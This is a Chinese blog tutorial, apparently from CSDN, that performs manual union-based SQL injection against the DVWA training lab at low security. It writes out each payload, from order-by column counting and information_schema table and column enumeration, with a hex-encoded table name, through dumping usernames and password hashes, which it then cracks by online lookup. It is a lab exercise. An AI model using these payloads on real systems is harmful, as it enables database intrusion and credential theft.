基于dvwa平台的手工sql注入(级别:low)

首先进入dvwa平台的sql injection页面。

在user id中提交:1 此时在url中显示出了?id=1,数据库的信息显示到页面上了,有回显。

在url中提交id=1' 页面报错

将后面的语句通过--+注释掉,此时页面正常显示。

我们可以知道漏洞参数是:id

我们要进行的是 “字符型漏洞” 注入。

以上信息确定好后,我们可以进行联合查询。

首先使用order by字段,确定该数据表的字段数量,我们输入参数:order by 5

报错,说明字段数量不是5

以此类推,接着按此方法试验。

当order by 2 时,页面回显正常,说明字段数是2。

此时用union 注入,由于字段数是2,所以我们输入union select  1,2

由上图我们发现,在蓝色框内将1,2输出到页面中了,所以1和2的位置可以输入mysql语句,我们尝试在2的位置查询当前的数据库名,访问语句:?id=1' union select 1,database() --+

可以看到,在原来2的位置上将database()函数的结果,输出到了页面上。

获取到了数据库的名字,进而可以获取到表名,语句:

?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

可知:有两个表,分别是:guestbook,users。当然我们更感兴趣users表的内容,故接下来要查看users表的字段名。

语句:?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

注意:语句中table_name=的一串数字,是将表明进行了十六进制编码。※因为我们要尽量避免过多的字符串出现在url中,所以最好将字符串进行一下十六进制的编码。

以上就得到了users表中的字段名,如果我们想查看username和password可通过一下语句:

?id=1' union select 1,group_concat(user,0x3a,password) from users--+

其中,0x3a是字符":" 冒号的十六进制。

最后一步:在得出的结果中,我们进行一下验证吧~

我们将admin对应的密码放到cmd5中验证一下:

https://www.cmd5.com/

这就是我们的登陆密码~

实验结束啦。

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值